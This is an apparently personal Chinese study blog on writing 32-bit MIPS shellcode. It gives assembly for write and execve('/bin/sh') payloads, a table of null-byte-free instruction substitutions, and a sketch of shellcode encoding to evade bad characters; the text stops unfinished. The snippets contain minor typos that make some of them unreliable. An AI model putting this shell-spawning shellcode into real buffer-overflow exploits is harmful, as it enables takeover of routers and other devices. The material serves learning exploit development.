前言
最近看到了《路由器0day》这本书的shellcode开发部分章节,就想到自己之前还没有去系统学过shellcode开发,之前在搞x86架构的时候也没有去搞过。其实开学时候有计划搞一下x86架构下的shellcode书写的,但是由于那时候比较忙,懒狗说辞,后来拖着拖着就放弃了。。。。 现在打算学一下mips架构下的shellcode开发,一是为了锻炼一下自己的汇编书写能力以及思维,二也是因为自己刚刚开始接触mips的汇编,就去写一些汇编熟悉一下。
什么是shellcode
狭义下的shellcode是指向进程植入的一段用于获取shell的代码。发展至今,shellcode已统一指在缓冲区溢出攻击中植入进程的代码。shellcode所具备的功能不仅包括获取shell,还包括弹出消息框,开启端口,执行命令等。
shellcode通常使用汇编语言书写,可最终将其转化为机器可识别的二进制机器码,其内容和长度还会收到很多苛刻的限制,因此开发和调试的难度很高。当然,作为刚开始接触mips架构的我在这篇博文也只是记录一下简单shellcode的开发,以后渐渐了解更多的用法之后再回来补充。
MIPS 架构的 shellcode 和 x86 架构下的 shellcode 也会有一些差异,同时在实际利用 MIPS 的 shellcode 时可能会有坏字符的问题,因此还是需要掌握一些 shellcode 编写的技巧,这样在实际利用时才能比较灵活的运用。
关于mips指令的相关内容,可以参考一下我的这一篇博文
注明一点,这篇文章说到的mips架构都是32位的
mips系统调用
在Linux中的x86体系架构中,有几种方式书写shelcode。例如“正常的异常”软件中断,int 0x80;利用syscall的系统调用等。而在mips架构下,没有int 80中断,但是还可以使用syscall指令进行系统调用。
调用过程:
在使用系统调用syscall之前,$ v0保存需要执行的系统调用的调用号,并且按照mips调用规则构造将要执行的系统调用参数,syscall调用的伪代码为"syscall($ v0,$ a0,$ a1,$ a2,$ a3...)"
如,这里如果需要调用 exit(1) 函数,可以表示成以下的汇编代码:
li $ a0,1
li $ v0,4001 // sys_exit
syscall #syscall
可以利用buildroot交叉编译环境查看系统调用号
简单的write
#C语言代码
int mian(){
char *pstr="ABC
"
write(1,pstr,5)
}
输出字符串的shellcode
#对应的mips汇编
.section .text
.globl _start
.set noreorder
_start:
addiu $sp,$sp,-32
lui $t6.0x4142
ori $t6,$t6,0x430a
sw $t6,0($sp)
li $a0,1
addiu $a1,$sp,0
li $a2,5
li v0,4004
syscall
链接调试
把上面汇编的_start改为main,然后编译链接:
mips-linux-gnu-as --32 write.S -o write.o
mips-linux-gnu-ld -e main write.o -o write
再一个终端中执行命令
qemu-mips-static -g 1234 -L /usr/mips-linux-gnu ./write
然后再另外一个终端中利用gdb-multiarch挂载程序
gdb-multiarch ./write
然后再在我们的gdb中远程连接我们开放的端口:
target remote 127.0.0.1:1234
解析
这里简单解释一下 ,对于ori这个指令,这是我一开始看的时候感觉有点奇怪,对于赋值“ABC ”也就是“0x4142430a”(大端序)给$t6寄存器的时候,为什么先赋值0x4142给t6寄存器,然后这个ori是什么,后来去查了一下,这个ori是与一个立即数或,而且是与低位或,所以就会把t6寄存器的地位覆盖为0x430a。也就是,lui 和 ori 指令配合使用可以赋值一个 4 字节空间,lui 指令赋值高位 2 字节,ori 指令赋值低位 2 字节。
查看机器码
在gdb中,利用disass /r命令可以查看到shellcode的机器码:
execve系统调用
execve shellcode是常用的shellcode之一,这种shellcode的目的是让已嵌入shellcode的应用程序运行一个应用程序,如bin/sh。
int execve(const char *filename, char *const argv[], char *const envp[]);
filename 用于指定要运行的程序的文件名,argv 和 envp 分别指定程序的运行参数和环境变量。
如下面一个例子
#相当于执行了“ls -l”命令
#include<stdio.h>
int main(){
char *program="/bin/sh";
char *arg="-l";
char *args[3];
args[0]=program;
args[1]=arg;
arg[2]=0;
execve(program,args,0)
一般我们在写shellcode的时候,是希望直接get到shell的,所以这时候只需要执行/bin/sh命令即可产生一个shell,代码如下:
#include<stdio.h>
int main(){
char *program="/bin/sh"
execve(program,0,0)
}
因此可以由上面的C语言代码编写我们的汇编代码:
.section .text
.globl main
.set noreorder
main:
li $a2 0x111
p:bltzal $a2,p
li $a2,0
addiu $sp,$sp,-32
addiu $a0,$ra,28
sw $a0,-24($sp)
sw $zero,-20($sp)
addiu $a1,$sp,-24
li $v0,4011
syscall
sc:
.byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
解释一下这里第六行,我们先看看这个bltzal指令:
总结来说,如果我们的第一个参数小于0,那么就会将跳转到我们的第二个参数所指的偏移,而且还会把$ pc+4->$ ra,而且mips汇编还有一个流水线技术(这个我目前也不大懂),这里执行第六条指令的时候会同时执行第七个指令,所以这时候的pc其实是加8的。其实这里还有一个点,就是第五行已经把a2寄存器赋值为0x111,所以其实是不满足条件,但是反推可知,其实不满足bltzal的条件时,我们的ra寄存器也会被赋值。
这里把ra赋值为pc寄存器的值,其实是为了作为偏移,寻找我们的sc字符
shellcode编码优化
指令优化
指令优化是指通过选择一些特殊的指令避免在shellcode中直接生成坏字符。出现坏字符"NULL"字节常用的特殊指令如下所示。
普通指令 | 机器码 | 无NULL指令 | 机器码 |
---|---|---|---|
li $a2,0 | 24 06 00 00 | slti $a2 , $zero,-1 | 28 06 ff ff |
li $a2,1 | 24 04 00 01 | sltiu $a2 , $zero ,-1 | 2c 0c ff ff |
当我们的缓冲区宽裕的时候,可以考虑使用多条运算指令规避坏字符。 | |||
这里举几个例子。 | |||
普通指令 | 机器码 | 无NULL指令 | 机器码 |
:-: | :-: | :-: | :-: |
addiu $a0 , $ra,32 | 24 e4 00 20 | addiu $a0 , $ra,4097 addiu $a0 , $a0,-4065 |
27 e4 10 01 24 84 f0 1f |
Li $a2 ,5 | 24 06 00 05 | li $t6 ,-9 nor $t6 , $t6 , $zero addi $a2 , $t6 ,-3 |
24 0e ff f7 01 c0 70 27 21 c6 ff fd |
根据这几个例子,可以将上面write和execve系统调用对应的shellcode修改为无NULL版本。 | |||
使用一些特殊指令对shellcode可以去除坏字符,使shellcode适应去除坏字符的函数漏洞。但是在漏洞利用过程中,我们经常遇到更加苛刻的条件,如需要去除其他坏字符,如(0X0A,0X0D等),此时通过特殊指令就很难办到了。这时候我们需要对shellcode进行编码。接下来详细介绍。 |
shellcode编码
首先,所有的字符都会对"NULL"字节进行限制,通常我们会选择对shellcode指令进行优化以避免在shellcode中直接出现"NULL"字节。其次,在处理某些流程中可能会限制0x0d,0x0a,0x20等字符。甚至有可能会要求shellcode必须为可见字符ASCII值等。在处理这些条件时,我们可以使用shellcode编码技术。
shellcode编码原理
在shellcode的编码技术中有众多的编码算法,常用的有如下几种。
Base64编码;
alpha_upper编码;
xor编码。
这种对shellcode编码的方法与软件加壳的原理类似。我们可以先专心完成shellcode的逻辑,而不用在意是否含有非法字符,再使用编码技术对shellcode进行编码,使其内容满足限制条件。然后再精心构造几十个字节的解码程序,将其放在编码的shellcode之前。当exp执行时,先运行解码程序解码,从而将我们后面的shellcode解码。
未完待续
一个开端,日后填坑
参考
http://q1iq.top/安洵杯-MIPS/
https://www.anquanke.com/post/id/202965
《揭秘家用路由器0day漏洞挖掘技术》